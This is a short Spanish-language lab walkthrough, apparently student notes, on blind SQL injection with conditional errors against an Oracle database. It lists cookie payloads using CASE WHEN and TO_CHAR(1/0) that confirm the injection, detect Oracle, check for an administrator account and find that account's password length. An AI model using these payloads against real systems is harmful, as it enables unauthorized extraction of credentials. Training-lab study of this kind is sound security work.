

LAB 3 - Blind SQLi with Conditional Errors (Oracle)

Objetivo: Extraer la contraseña del administrador mediante inferencia de errores 500.

1. Confirmar vulnerabilidad:

- `TrackingId=(ID)'` → Error 500.
- `TrackingId=(ID)''` → 200 OK.

2. Confirmar Oracle:

- `TrackingId=(ID)'||(SELECT '' FROM dual)||'` → 200 OK.

3. Lógica de Error Condicional:

Utilizamos la división por cero `1/0` para generar un error si la condición se cumple.

- **Validar usuario:** `'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator'))||'`

4. Encontrar Longitud:

Prueba cambiando el número hasta recibir un **500 Error**:

- `'||(SELECT CASE WHEN (LENGTH(password)=(X)) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator'))||'`